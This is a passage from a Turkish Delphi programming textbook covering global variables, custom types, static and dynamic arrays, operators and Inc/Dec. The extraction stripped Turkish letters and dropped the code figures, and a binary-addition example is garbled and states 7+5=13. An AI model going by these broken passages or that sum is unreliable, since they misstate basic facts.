Tm Alt Yordamlar Tarafndan Kullanlabilecek Deiken Tanmlamak: Sanyorum hepiniz biliyorsunuz, bu ileme global deiken tanmlama adn veriyoruz. Bu olay rneklendirecek olursak; birinci buttona tkladnz zaman deikene atadnz deeri, ikinci buttona tkladnz zaman kullanmak isterseniz o deikeni global olarak tanmlamalsnz. Aadaki Delphi Uniti ierisinde global deikenleri nasl tanmlayabileceiniz rneklendirilmitir. Formunuzun zerine iki adet button kontrol ekleyip, aadaki kodlar da gerekli olan yordamlara yaznz.

Grld gibi iki procedurede ayn deger isimli deikeni kolaylkla kullanabilmektedir. Global deikenler proceduren iletilmesi bittii anda bellekten atlmadklar iin, bir proceduren sonundaki deikenin deeri dier procedure ierisinde hatrlanabilmektedir. imdi uygulamanz altrp her iki buttona tklayn, deikenin deerinin hatrland sanyorum dikkatinizi ekecektir. Burada unu sorabilirsiniz neden btn deikenleri burada tanmlamyoruz? Cevab son derece basittir. Birincisi bu deikenler bellekte devaml yer igal edeceklerinden performans etkileyeceklerdir. kincisi ise hangi deikenin hangi procedurler iin tanmland byk uygulamalar iin karmaa yaratacaktr. Bu sebeplerden dolay ncelii hep local deiken tanmlamaya veriniz.

37

Global deiken tanmlamak iin Delphi size baka bir blok daha sunmaktadr. Dilerseniz Sadece o Unit ierisinde kullanmak zere deikeninizi Private Declarations ksmnda tanmlayabilirsiniz. Eer global deikeninizi bu blokta tanmlayacaksanz, o zaman var veya const bildirisini kullanamazsnz.

Yukardaki pencereye dikkat edecek olursanz deger isimli deiken Unit in Private Declarations ksmnda tanmlanm olup, tm alt procedure lerin kullanmna sunulmutur. Formunuza iki adet button ekleyin, aadaki kodlar da gerekli olan yerlere yazp projenizi tekrar altrnz.

imdi iki buttona arka arkaya tklayp sonucu grebilirsiniz. 38

Tm Formlar Tarafndan Kullanlabilecek Deiken Tanmlamak: Baz durumlarda birinci formda tanmlam olduunuz bir deikenin en son deerini ikinci forma ait herhangi bir prosedrde kullanmak isteyebilirsiniz. Bu tip durumlarda aadaki yntemi uygulamalsnz. //Form1 e ait Unit1 type TForm1 = class(TForm) Button1: TButton; procedure Button1Click(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; var x:Integer;//kinci form bu deikeni kullanabilir implementation uses Unit2;//Eklemeyi unutmaynz {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); begin form2.show;//Form2 yi a end; procedure TForm1.FormCreate(Sender: TObject); begin x:=155; end; Aadaki kod blounu da ikinci forma ekleyiniz. uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,Dialogs, Unit1;//Eklemeyi Unutmaynz.

39

procedure TForm2.FormCreate(Sender: TObject); begin Form2.Caption:=IntToStr(x);//155 yazar end; Program altrp Button kontrolne tklarsanz Form2 niz alacaktr. Bu aamada bala dikkat ederseniz 155 deerinin yazdn grrsnz.

40

Tip Tanmlamalar: Delphi hesaplamalarnz gerekletirebilmeniz iin size bir ok seenek (class, deiken, yap vs.) sunmaktadr. Bu seenekler ou kez iinizi grmekle beraber baz durumlarda kendinize has yeni tipler tanmlamak zorunda kalabilirsiniz. imdi sizlere kendi tip tanmlamalarnz nasl yapabileceinizi gstermek istiyorum. Delphide kendinize has yeni bir tip tanmlayacaksanz, bunu type komutuyla gerekletirebilirsiniz. Bu komutla class, yap, dizi deikenleri ok kolaylkla tanmlayabilirsiniz. Tip tanmlamas srasnda (, vs.) karakterlerinden kullanmaynz. Enumerated Types Type Ad=(birinci=0,ikinci=1,ucuncu=2,dorduncu=3,............) Yaplan tanmlamada ilk elemann saysal deeri 0, sonrakilerde srasyla birer artarak devam edecektir. Dilerseniz aadaki ekilde bir tip tanmlamas da yapabilirsiniz. Type Ad=(birinci=10,ikinci=20,ucuncu=30,dorduncu=40..............) Aada bu foksiyona ait rneklendirme yaplmtr.

41

Burada atanan elemanlarn saysal deerlerini yazdrmak iin Ord fonksiyonu kullanlr. Kodu inceleyecek olursak ncelikle Haftann yedi gnnn belirlendii yeni bir (Enumerated) tip tanm yaplm olup, bu tanmlamadan sonra tm alt yordamlar tarafndan kullanlabilmesi iin gun isminde bu tipten tretilmi deikenimiz bildirilmitir. Procedure ierisinde bu deikene Cuma deeri aktarld iin (type ierisinde herhangi bir deer atamas yaplmad iin deikenlerin deerleri sra numaralarna eittir. lk elemann sra numarasnn 0 olduunu unutmaynz.) bu eleman 5. srada bulunmaktadr. Buradan hareketle ilk elemann numarasnn 0 olduunu hatrlarsak, formumuzun balnda 4 deerini yazdracaktr. Aada Enumerated tip tanmlamas yaplarak haftann gnlerinin ingilizce karlklar kullancya iletilebilmektedir. Aadaki form tasarmn oluturunuz.

imdi de programda tkladnz gnn ngilizce karln mesaj penceresi eklinde kullancya iletebilmek iin aadaki kodlar gerekli olan yordamlara ekleyiniz. Burada Option buttonlarndan birtanesini setiiniz zaman yeni tanmlam olduumuz tip deikenimizin deeri de otomatik olarak 42

deiecektir. Tanmlam olduumuz deiken global olduu iin, form kapatlana kadar son seilen gn bellekte tutulmu olacaktr. Tabii bu uygulamay daha deiik yntemlerle yeni tip tanmlamas yapmadan da zebilirdiniz. Bu tip zmler size daha anlalr bir yap salayacaktr. Ayn ilemi projenizin baka bir yerinde tekrar yapmak zorunda kalrsanz; tekrar tekrar ayn kodlar yazmak zorunda kalmazsnz.

Tip tanmlamasndan sonra haftann gnnn (Trke olarak bilinen) ngilizce karln kullancya iletmek iin gerekli olan procedure tanmlamasna geilmitir (Procedure lere ait ilemler sonraki blmlerde ok detayl olarak incelenecektir). Yeni tanmladmz tipe (hafta) ait deerler if yapsyla teker teker deerlendirmeye alnm olup, tm Trke kelimelerin ngilizce karlklar belirlenmitir.

43

imdi aadaki gibi seilen option buttonu sayesinde, gn deerini yeni tanmladmz tip deikenimize aktaracak aadaki kodlar da programnza ekleyiniz.

Artk programnz altrp sonular grntleyebilirsiniz. Tetikleyicilerde nce deerin atandna, sonra da daha nce tanmladmz proceduren iletildiine dikkat ediniz.

44

Bu tip ierisinde elemanlar aras gei ilemlerini inc (bir sonraki) ve Dec (bir nceki) komutlaryla kolayca gerekletirebilirsiniz. Programnza yeni bir button ekleyerek, aadaki kod satrlarn da belirtilen yordama yazn.

Program altrp buttona tklarsanz formun balndaki deerin devaml arttn greceksiniz. Procedure n kodunu aadaki ekilde deitirirseniz, bu seferde bir nceki eleman deerine ulaabilirsiniz.

lk elemana ulatktan sonra tekrar tklarsanz 255 deerini yazacaktr. 45

Subrange Types Bu ekilde yapacanz bir tip tanmlamas sayesinde, ayn tipten treteceiniz yeni deikenin belirlediiniz aralk dnda deer almasn engelleyebilirsiniz (Direkt atamalar iin geerlidir. Dolayl olarak aralk d deer atanabilmektedir). Type Karakter=A..Z; //Sadece byk harf karakter girilebilir Sayi=0..100; //Sadece 0-100 aras deer atanabilir. Yukarda yaplan tip tanmlamas sayesinde, kullanacanz deikenlerin deerlerinin belirli bir aralkta olmasn salayabilirsiniz. Aada bu husus rneklendirilmitir. type karakter='A'..'Z'; //Tipler Tanmlanyor. sayi=0..100; procedure TForm2.Button6Click(Sender: TObject); var yeni:karakter; notlar:sayi; begin yeni:=a; //Delphi size hata mesaj verecektir. yeni:='K'; //Hata Vermez notlar:=500; //Delphi size Hata Verecektir notlar:=55; //Hata Vermez end; Bu tip tanmlamas sonucu tretmi olduunuz deikene, aralk dnda kalan deeri direkt olarak atamaya alrsanz hata verecektir. Aadaki gibi bir kod satr yazarsanz; programnzn almas annda EditBox ierisine aralk dnda bir deer girseniz bile, program krlmadan almasna devam edecektir. notlar:=StrToInt(Edit1.Text); //Hata Vermez Yanllkla girebileceiniz deerleri engellemek amacyla kullanabileceiniz bir tiptir.

46

Set Types: Toplu ilemler gerekletirebilen bir tip tanmlamasdr. Aada bu tip bir deklarasyonu nasl gerekletirebileceiniz aklanmtr. Type Ad:Set of char; //Toplu eleman ilemleri iin tip tanmlama Bu yapy anlamanz iin aadaki form tasarmn oluturup gerekli olan kodlar da ekleyiniz.

Burada baslan her tu (KeyPress Event na yazld iin) Key parametresine aktarlmakta, ardndan tanmlanan tipe ait belirtilen aralkta olup olmad kontrol edilmektedir. Key:=#0; satr ise baslan tuun iptali iin kullanlmaktadr. imdi rnei biraz daha deitirip sadece byk ve kk harflere izin verebilecek olan bir program yapalm. lk yapacamz ilem byk harf ve kk harf araln belirleyecek olan yeni tiplerimizi tanmlamak olmaldr. Daha sonra, baslan karakterin bu aralklardan bir tanesine ait olup olmadn kontrol edeceiz. Aadaki uygulama iin formunuzun zerine sadece bir adet EditBox kontrol eklemeniz yeterli olacaktr.

47

Kodu inceleyecek olursanz, ilk olarak byk harf araln gsteren deikenimiz, ardndan da kk harf araln gsteren ikinci deikenimiz belirlenerek baslan tuun bu aralklardan bir tanesinde bulunup bulunmad kontrol edilmektedir. Bu Kod yznden silme ilemini yapan (BackSpace) tuu kullanlamayacaktr. Eer bu tuu da kullanmak isterseniz, kodu aadaki ekilde deitirmelisiniz.

Artk uygulamanzda BackSpace tuunu kullanarak yanl yazlan karakterleri silebilirsiniz. 48

Bu tip tanmlamasn aadaki ekilde de kullanabilirsiniz. type aralik = 1..500; //Aralk belirleniyor deger = set of aralik; //Aral kullanabilecek olan deiken tanmlanyor. veya type deger = set of 1..250; //Bu ekildede tanmlanabilir. Daha sonra bu deikene programn ierisinden aadaki ekilde toplu deer de atayabilirsiniz. var ilk, son: deger; ... ilk := [1, 3, 5, 7, 9]; //Toplu deerler atanyor son := [2, 4, 6, 8, 10]; //Toplu deerler atanyor. Bu ekilde bir tip tanmlamas yaptnz zaman (Deiken toplu deerleri gstereceinden dolay) karlatrma yapacanz deerin, araln iinde olup olmadn in operatryle kontrol ettirmelisiniz (Biz de yle yaptk). f a in tip then //iinde varsa begin //a tip deikeninin gsterdii aralktaysa end; else begin // tip deikeninin gsterdii aralkta deilse end; veyada f not(a in tip) then //iinde yoksa begin //a tip deikeninin gsterdii aralkta deilse end; not kullanlarak da olumsuz durum kontrol ettirilebilir. Tercih burada tamamen programcya kalmtr. 49

Record Types Kayt ilemleri mantyla kullanlabilen ve programc tarafndan tanmlanabilen bir tiptir. Aada bu husus rneklendirilmitir.

type birey = record yil: Integer; ay:(Ocak,ubat,Mart,Nisan,Mayis,Haziran,Temmuz,Agustos,Eylul,Ekim, Kasim, Aralik); gun: 1..31; end; Programn ierisinden de aadaki ekilde deer atamas yapabilirsiniz. var birey1: birey; //Tanmlanan tipe ye deiken tanmlanyor. ..... Record1.yil := 1973; //Doum yln gir Record1.ay := Mayis; //Doduu ay gir Record1.gun := 1; //Dduu gn gir With-do blou Yukardaki deer atama ilemini kolaylk asndan aadaki ekilde With do deyimiyle de gerekletirebilirsiniz. with birey1 do begin yil := 1973; ay := Mayis; gun := 1; end;

//Doum yln gir //Doduu ay gir //Dduu gn gir

Yukardaki satrlara dikkat edecek olursanz alt alta kere birey1. yazmak yerine, tek bir kerede hepsinin birey1 in zelliinin olduunu with do deyimiyle kolaylkla belirtebilmekteyiz. Byk uygulamalarda satrlarn oalacan dnrseniz iinizi epeyce kolaylatracaktr (Karmaay da azalttn sanyorum).

50

Record tip tanmlamasnn daha iyi anlalabilmesi iin aadaki rnek pencereyi dikkatlice inceleyiniz.

Yaplan tip tanmlamasndan sonra bu tipe ait bir deiken tanmlarsanz belirlemi olduunuz tm zellikleri sa tarafnda . karakterine basarak listeletebilirsiniz.

Proram altrrsanz arka arkaya 3 kere InputBox penceresi alarak deerleri gerekli deikenlere aktarmanz salanacaktr.

51

Dizi Deikenler: Tm dillerde olduu gibi, Delphi de dizi mantna ok nem vermektedir. Deikenlerin dizi olarak tanmlanabilmesi (Her zaman mmkn olmayabilir.) program hzlandraca gibi, kod satrlarnn da ksalmasn salayacaktr (Yirmi tane rencinin notunu dizi deiken kullanmadan InputBox penceresiyle istettiinizi dnsenize). Sabit ve deiken uzunluklu olmak zere iki eit dizi mevcuttur. imdi bu dizi eitlerini detaylca inceleyelim. Sabit Uzunluklu Dizi Deiken Tanmlamak: Sabit uzunluklu dizi deiken, tanmland anda boyutunun belirlenmesi eklinde tanmlanabilir. Belirtilen bu boyut programn ierisinden kesinlikle deitirilemez. Aadaki ekillerde sabit uzunluklu dizi deiken tanmlayabilirsiniz. var dizi:Array[0..10] of Integer; // 11 elemanl dizi deiken tanmland veya type diziler = array[1..10] of Real; var dizi:diziler; // Bu ekildede dizi deiken tanmlanabilir. Burada tanmlanan dizi deikenlerde alt ve st snr dahil olacaktr (Yukardaki satrda 11 eleman tanmlanmtr). Yani dizi[0] ile dizi[10] arasndaki tm elemanlar Delphi tarafndan bellekte oluturulacaktr.

52

Aadaki ekilde de ayn elemanlara sahip dizi deiken oluturabilirsiniz.

Tanmladnz dizi deikenin boyutunu programn ierisinde deitirme ansnzn bulunmadn, byle bir teebbste bulunursanz Delphinin size hata mesajn ileteceini hatrlatmak isterim. Sabit uzunluklu dizi deikenlere tanmlandklar yerde ilk deerlerini aadaki ekilde atayabilirsiniz. Const //Var la ilk deer atamas yapamazsnz dizin:Array[0..2] of AnsiString=('Mavi','Yeil','Sari'); veya const //Var la ilk deer atamas yapamazsnz. dizin:Array[0..2] of Integer=(10,20,30); Aadaki ekilde de sabit uzunluklu dizi tanmlayp ona ilk deerini atayabilirsiniz. type diziler = array[0..2] of Real; //Reel tip tanmlanyor .... Const dizi:diziler=(10,20,30); //3 elemanl reel deiken tanmland imdi de basit bir rnek yapalm.

53

Aadaki kod satrlarn projenizin gerekli olan yerlerine ekleyiniz.

Dizi deikenlere tanmlandklar anda deer atanabilmesi iin, mutlak const bildirisiyle tanmlanm olmaldrlar. Aksi takdirde Delphi sizlere hata mesaj iletecektir. Dizi deikenleri const ile tanmlarsanz, procedure ierisinde deerini deitirmek iin aadaki ek kod satrn ilave etmelisiniz.

Artk procedure ierisinde dizi deikeninizin istediiniz elemanna deer atamas yapabilirsiniz. Burada yaplan ilemin local static dizi deiken tanmlamaktan hi de farkl bir ey olmadn sanyorum fark etmisinizdir. Yapacanz yeni atamalarn procedure n bir sonraki iletilmesi srasnda kullanlabilecei meydandadr.

54

imdide aadaki rnei incelemenizi istiyorum. Henz for dngsn anlatmadk ama sanyorum bir ounuzun bu hususta bir fikri olacaktr. Kodun ne kadar anlalr ve teknik olduu hemen dikkatinizi ekecektir.

Yeni tip tanmlamann kodun anlalabilirliini ne kadar artrdn sanyorum fark ettiniz. Size de bu tr yap tanmlarn kullanmanz nemle tavsiye ediyoruz. Sabit Uzunluklu ki Boyutlu Dizi Tanmlamak: zellikle matris ilemleri ve tablo oluturmak iin en ok bilinmesi gereken yapdr. Tablolar, satr ve stun numaralar kullanlarak kesiimleri bir hcre deerini gsterecek ekilde tasarlanmlardr. Bu yzden bir ok veri taban ilemi iki boyutlu dizi mant kullanlarak kolayca zlebilmektedir (Tablonuzun tm hcre deerlerine ulaabilmek iin yapmanz gereken ilem, iki adet for dngs ierisinde iki boyutlu tanmlam olduunuz dizi deikenin satr ve stun numaralaryla oynamaktan ibarettir. Bu hususa veri taban ksmnda detayl, hem de ok detayl olarak deinilecektir). Aada iki boyutlu bir dizinin nasl tanmlanabilecei gsterilmektedir.

55

var ikib_dizi:Array[0..2] of Array[0..1] of Integer; //iki boyutlu dizi tanmland Yukardaki satrda gerekleen ilem aada ematize edilmeye allmtr. Tanmlamaya dikkat edecek olursanz ilk boyut iin [0..2] (3 eleman), ikinci boyut iinde [0..1] (2 eleman) belirtilmitir. u halde bellekte aadaki gibi 6 eleman otomatik olarak oluacaktr. ikib_dizi[0,0] ikib_dizi[1,0] ikib_dizi[2,0] ikib_dizi[0,1] ikib_dizi[1,1] ikib_dizi[2,1]

Bu elemanlardan istediinize deer atamas yapabilirsiniz.

Bu diziyi aadaki ekilde de tanmlayabilirdiniz. type i_dizi=Array[0..2] of Array[0..1] of Integer; //Yeni tip tanmland ....... var cok_dizi:i_dizi; // 6 elemanl dizi deiken tanmland Yaplan ilemi aklayacak olursak, ilk olarak i_dizi isminde alt (6) elemandan oluan dizi deikene sahip bir tip tanmland. Daha sonra bu yeni tipten cok_dizi isminde ok boyutlu bir dizi deiken tretildi. Artk procedure ierisinde istediiniz blmde bu dizi deikenin elemanlarna deer atayabilirsiniz. Aada bu husus rneklendirilmitir. 56

Bir ok uygulamada karlaacanz en byk dizi boyutu iki (2) olacaktr, ama biz yine de daha yksek boyutta dizi deikenleri nasl tanmlayabileceinizi gsterelim. Aadaki ekilde kolayca boyutlu dizi deiken tanmlayabilirsiniz. var u_dizi:Array[0..2] of Array[0..2] of Array[0..1] of Integer; Yukardaki kod satryla 3 boyutlu, 18 elemanl bir dizi deiken tanmlanmtr. Bu elemanlardan dilediinize aadaki ekilde deer atamas yapabilirsiniz. u_dizi[0,0,0] u_dizi[0,2,0] u_dizi[0,1,1] u_dizi[1,1,1] u_dizi[2,0,0] u_dizi[2,1,1] u_dizi[0,0,1] u_dizi[0,2,1] u_dizi[1,0,1] u_dizi[1,2,0] u_dizi[2,0,1] u_dizi[2,2,0] u_dizi[0,1,0] u_dizi[1,0,0] u_dizi[1,1,0] u_dizi[1,2,1] u_dizi[2,1,0] u_dizi[2,2,1]

Tanmlamay aadaki ekilde de yapabilirsiniz. type boyutdizi=Array[0..2] of Array[0..2] of Array[0..1] of Integer; ..... var dizi:boyutdizi; //Dizi deiken tanmland

57

ok boyutlu dizi deiken tanmlarken yukardaki yntemlerden dilediinizi seebilirsiniz. Herhalikarda sonular ayn olacaktr. Benim size tavsiyem her zaman tip tanmlamas yaparak kullanmanz (ikinci kez tanmlamanz gerekirse daha kolay olacaktr). Deiken Uzunluklu (Dinamik) Dizi Deiken Tanmlamak: Okulunuza bir program yazdnz dnn. rencilerin notlaryla (ve dier konularla da) ilgili ilemleri yapabilecek, karnelerini basabilecek bir program olsun. Uygulamanzda yle bir problemle karlarsnz; btn snflarn mevcutlar ayn olmad iin snf mevcutlarn belirlerken oluturacanz dizinin eleman says sizin iin sknt yaratacaktr. Dnlebilecek en gzel zm en fazla rencisi olan snfa gre eleman tanmlamak olacaktr. Bu durumda da bellei bo yere igal eden kullanlamaz deikenleriniz olumas kanlmazdr (Tabii uygulamanzda kabilecek dier problemlerden bahsetmiyorum). te bu tr sorunlar halledebilmeniz iin Delphi sizlere deikenlerinizin boyutlarn programn ierisinde deitirebilme imkan sunmaktadr. Bu ileme, Dinamik dizi deiken tanmlama adn veriyoruz. Aada dinamik dizileri nasl tanmlayabileceiniz ve programn ierisinden onlarn boyutunu nasl belirleyebileceinizi gstereceim. var dinamikdizi:Array of Integer; //Dizi deiken tanmland

58

Dikkat ettiyseniz sabit uzunluklu dizi deikenden tek fark dizinin eleman saysnn belirtilmemesidir. Bu ekilde tanmlanan bir dizi deiken Delphi tarafndan Dinamik dizi olarak kullanlacaktr. Programn ierisinden belirleyebilirsiniz. dizi deikenin boyutunu aadaki ekilde

SetLength(dinamikdizi,10);

// 0-9 on elemanl dizi deiken

SetLength komutunu kullanarak dizinize boyut deerini verebilirsiniz. Aadaki basit rnei inceleyiniz.

Dilerseniz dinamik dizinizi aadaki ekilde de tanmlayabilirsiniz. type din_dizi=Array of Integer; //Dinamik dizi ieren tip tanmlamas yapld Program ierisinde aadaki ekilde bir kullanm mmkn olacaktr. var yeni_dizi:din_dizi; //Tanmlana tipten dinamik dizi deikeni tretildi. .... SetLength(yeni_dizi,10);// 10 elemanl olarak dinamik dizi boyutlandrld. Aadaki rnei dikkatlice inceleyiniz.

59

zleyeceiniz yol tamamen size kalmtr. ok Boyutlu Dinamik Dizi Tanmlamak: Yukarda tanmlanan dinamik diziler tek boyutlu olarak belirlenmitir. imdi sizlere iki ve daha fazla boyutlu dinamik dizileri nasl tanmlayp kullanabileceinizi gstereceim. Aadaki ekilde iki boyutlu dinamik bir dizi deiken tanmlayabilirsiniz. var dizi:Array of Array of Integer; //ki boyutlu dizi deiken tanmland Tanmlam olduunuz iki boyutlu dinamik dizi deikenini yine ayn SetLength komutuyla boyutlandrabilirsiniz. SetLength(dizi,5,3); // 15 elemanl oldu Burada dikkat edeceiniz husus ilk elemann dizi[0,0] son elemannda dizi[4,2] olduudur (Burada st snrlar kullanlamamaktadr. alma annda hata mesajyla karlarsnz). Yukardaki kod satr sayesinde Delphi dizi deikeniniz iin 15 elemanlk bo bellek yeri ayracaktr (Dizi deikenler bellekte arka arkaya bulunurlar. Hzl ilem yapmalarnn bir sebebi de budur). Artk istediiniz elemana deer atayabilirsiniz. Aadaki rnei dikkatlice inceleyiniz. 60

Ayn ilemi aadaki ekilde de yaptrabilirsiniz. zleyeceiniz yol tamamen size kalmtr.

Bu kod penceresinde kullanlan SetLength(dizi,5,3); satr sayesinde dizi[0,0] dan dizi[4,2] ye kadar 15 eleman iin bellekte bo yer ayrlacaktr. Bu tip dinamik diziler (Tam say tiptekiler) oluturulduklar anda ilk deer olarak 0 alrlar. Yukardaki uygulama iin Form3.Caption:=IntToStr(dizi[3,0]);// 0 yazacaktr.

61

Dinamik Dizileri Yeniden Boyutlandrmak: Delphide boyutlandrm olduunuz dinamik diziyi yeniden boyutlandrrsanz, eski dizi elemanlar deerlerini aynen koruyacaktr (Tabii ki elemann numarasndan daha kk bir boyut vermezseniz). Aada bu husus rneklendirilmitir.

Baz durumlarda yukardaki kod penceresinde olduu gibi boyutlandrm olduunuz bir dinamik diziyi (Snfa yeni bir renci daha eklenebilir veya oyuna yeni bir ahs daha katlabilir.) yeniden boyutlandrma gerei duyabilirsiniz. Bu durumlarda, Delphide daha nceden deer alan deikenler deerlerini aynen sakl tutacaktr. Yukardaki rnekte de bu tema ilenmitir. ki kere boyutlandrlan dizi deiken nceki boyutlandrmadan sonra atanan deerini, ikinci boyutlandrmadan sonra hatrlayp korumaktadr (Yeni boyutlanan dizinin st snr o elemann indexinden daha byk olmaldr). Bir ok projede Dizi ilemlerini Dinamik dizilerle zmek zorunda kalacaksnz. Bu yzden bu ksm ok iyi renmelisiniz. Her zaman sylerim, dizilerle dngleri ok iyi kullanabilen programclarn geleceinin parlak olacandan eminim. Sizde anlatlan hikayelerden ziyade (Emin olun karlkl konuacanz bir ok konu balks olacaktr. Bu konu balklar, genellikle kodlardan haberleri olmayp teden beriden (dergi, gazete vs) duyduklar hikayeleri sizlere yutturmaya alan ahslardan ibaret olacaktr. Bu tip ahslar her zaman beyaz tahtann bana kod yazmaya davet edecek kadar kendinize gven duyacak seviyeye gelmek en nemli hedefiniz olmaldr) tahtaya yazdracanz kodlara ve o kodu yazan ahslara deer veriniz.

62

BLM 3 DELPHIDE ATAMA LEMLER & OPERATRLER

63

64

Delphide Kullanlan Operatrler: Bu ksmda sizlere, Delphide kullanabileceiniz operatrleri gruplandrarak bilgi verelim. Matematiksel Operatrler: Matematiksel ilemlerde kullanabileceiniz operatrler tablo halinde verilmitir. Operatr + * / Mod Div = > < >= <= <> := Grevi Toplama Fark arpm Blme Mod Tam Blm Eitlik Byktr Kktr Byk Eittir Kk Eittir Eit Deil Atama rnek 10+20 30-20 20*50 10/5 10 mod 3 10 div 3 if(ad=Nihat) then if(yas>50) then if(yas<50) then if(yas>=50) then if(yas<=50) then if(yas<>50) then Ad:=Nihat

Sanyorum dier operatrler iin rnek yapmaya gerek yok. Zaten ilerleyen ksmlarda hepsini bolca kullanma imkan bulacaz.

65

Logical Operatrler: Mantksal ilemlerinizde kullanabileceiniz bir ok operatr Delphi size sunmaktadr. Aada bu operatrlerden bahsedilmektedir. o Not Dnen deerin olumsuzunu belirtmek iin kullanlan Mantksal operatrdr (Eer true dnerse false. False dnerse true). Genellikle dallanma, karlatrma ilemlerinde kullanlr.

Eer yukardaki if satrnda not komutu kullanlmazsa, formun balnda hi bir zaman metninizi yazdramazsnz. Burada unu da hatrlatalm, Boolean tip bir deiken tanmland anda varsaylan deeri false dr. o And Ayn anda iki sonucu beraber deerlendirebilmek amal kullanlan bir operatrdr. Genellikle karlatrma gerektiren (if - Case vs.) durumlar iin ayn anda birden fazla art salama amal kullanlmaktadr. o Or Belirtilen sonulardan herhangi bir tanesinin doruluunun yeterli olduu durumlarda kullanlan bir operatrdr. Genellikle karlatrma gerektiren (if case) durumlar iin artlardan herhangi bir tanesinin salanmasnn yeterli olduu durumlar iin kullanlr. Aada hem and hem de or iin rneklendirme yaplmtr. 66

lk Olarak and operatrn rneklendirelim. rnekte notun 50 ile 100 arasnda olmas art aranmaktadr. Dikkat edeceiniz husus hem 50 den byk, hem de 100 den kk olma zorunluluudur.

imdi de dier operatrmz olan Or seeneini rneklendirelim. rneimizde notlar isimli deikenin deeri kontrol edilerek, ayet 0 dan kk veya 100 den byk olmas durumunda gerekli olan uyar, formun balnda kullancya iletilmektedir. Dikkat edeceiniz husus, belirtilen artlardan bir tanesinin true deeri dndrmesinin (doru olmas) uyarnn verilmesi iin yeterli olacadr.

Procedure ierisinde notlar isimli deikenin deeri 100 den byk olduu iin ikinci art salanmakta, dolaysyla (artlardan birisi true olduu iin) if satr true deerini dndrmekte ve uyar mesajn da formun balnda kullancya gstermektedir.

67

Delphide Dier Atama lemleri: Delphide atama ilemleri := operatryle yaplabilmektedir. Bu hususu sanyorum u ana kadar yaptmz rneklerden anlamsnzdr. Fakat Delphi kendi fonksiyonlarn kullanarak daha hzl atamalarda yapabilmektedir. Atama ileminin anlalmas iin ikilik dzendeki (Bilgisayar tm ilemleri ikilik dzende gerekletirir.) aadaki rnekleri dikkatlice inceleyiniz. Bellekte iki bayt (16 bit) yer tutan bir deikene nasl atama yaplabileceini gstereceim. rneimiz iin kullandm kod aada verilmitir.

Burada Delphinin ilk yapt i x deikenine bellekte 16 bitlik (her 0 veya 1 bir bit demektir) yer ayrmaktr (ierisinde de rastgele 0 1 ler bulunur).

Yukardaki ekil x deikenine ayrlan 16 bitlik yeri gstermektedir. Daha sonra bu deikene aktarlmak istenen 7+5 deeri, iin iki sayy da ikilik dzene evirip ondan sonra toplama ilemini yapmaktadr. 7 Saysnn ikilik dzende karl (devaml blm deerini 2 ye bln) alt satrda verilmitir. 1 1 1

Ayn ekilde 5 saysnn ikilik dzendeki karl da aadaki satrda size verilmektedir. 1 Artk bu ikisini kolaylkla toplayacaktr. 68 0 1

1 1 0 0 0 0 0 0 0 0 0 0 0 0 1 1

1 0 0

1 + 1 = 0

7+5=13 satrn Delphi size yukardaki ekilde hesaplayabilmektedir. lk etapta size biraz kark gelebilir, ama bu yntem gerekten son derece kolaydr. Kullandnz hesap makineleri de sonular hep bu mantkla hesaplamakta (Yoksa btn arpm sonular hafzada tutulmamaktadr. Zaten byle bir veritaban oluturmak her babayiidin harc olmayacaktr) sonucu ksa sre ierisinde verebilmektedir. x:=x+1 Atamas: Bu atama yntemiyle x deikeninin bir fazlas tekrar x deikenine aktarlmaktadr (Burada eitlik sz konusu deildir. Hi bir matematiksel deerin bir fazlas kendisine eit olamaz). procedure TForm1.Button6Click(Sender: TObject); var x:Integer; begin x:=10; x:=x+1; //Sonu x 11 oldu. end; x:=a+b Atamas: a deikeni ile b deikeninin matematiksel deerleri toplanp x deikenine aktarlmaktadr. procedure TForm1.Button6Click(Sender: TObject); var x:Integer; begin x:=20+70; //Sonu x 90 oldu. end; Burada yaplan ilemlerin eitlik deil, atama olduklarn tekrar hatrlatrm.

69

Inc(x) Atamas: x:=x+1; x deikeninin deerini bir artrarak tekrar x deikenine aktarr. procedure TForm1.Button6Click(Sender: TObject); var x:Integer; begin x:=10 ; inc(x); //Sonu x deikeninin deerini bir artr. Form1.Caption:=IntToStr(x); //11 yazar. end; Aadaki ekilde bir kullanma Delphi izin vermeyecektir. procedure TForm1.Button6Click(Sender: TObject); var x:Integer; begin x:=10 ; //inc(x);//Sonu x 11 oldu. Form1.Caption:=IntToStr(inc(x)); // Delphi bu atamaya izin vermez end; Inc(x,5) Atamas: x:=x+5; x deikeninin deerini be (5) artrarak tekrar x deikenine aktarr. procedure TForm1.Button6Click(Sender: TObject); var x:Integer; begin x:=10 ; inc(x,5);//Sonu x 15 oldu. Form1.Caption:=IntToStr(x); //15 yazar end; Inc(x,5); satrnda 5 in yerine herhangi bir deikenin ismini de kullanabilirsiniz. 70

procedure TForm1.Button6Click(Sender: TObject); const deger:Integer=15; var x:Integer; begin x:=10 ; inc(x,deger);//Sonu x 25 oldu. Form1.Caption:=IntToStr(x); //25 yazar end; Grld gibi yapabilmektedir. deiken deeri kullanlarak da fonksiyon ilevini

Dec(x) Atamas: x:=x-1; x deikeninin deerini bir azaltarak tekrar x deikenine aktarr. procedure TForm1.Button6Click(Sender: TObject); var x:Integer; begin x:=10 ; Dec(x); //Sonu x deikeninin deerini bir azalt. Form1.Caption:=IntToStr(x); //9 yazar. end; Dec(x,5) Atamas: x:=x-5; x deikeninin deerini 5 azaltarak tekrar x deikenine atar. procedure TForm1.Button6Click(Sender: TObject); var x:Integer; begin x:=10 ; Dec(x,5);//Sonu x 5 oldu. Form1.Caption:=IntToStr(x); //5 yazar end; 71

Dilerseniz Dec(x,degisken) eklinde de kullanabilirsiniz. Aada bu husus rneklendirilmitir. procedure TForm1.Button6Click(Sender: TObject); const deger:Integer=15; var x:Integer; begin x:=10 ; Dec(x,deger); //Sonu x -5 oldu. Form1.Caption:=IntToStr(x); //-5 yazar end; Inc() ve Dec() fonksiyonuyla yapacanz atamalarn daha hzl alacaklarn belirtip bu konuyu burada kapatmay uygun grdm.

72

BLM 4 DELPHIDE DALLANMA & DNG KOMUTLARI

73

74

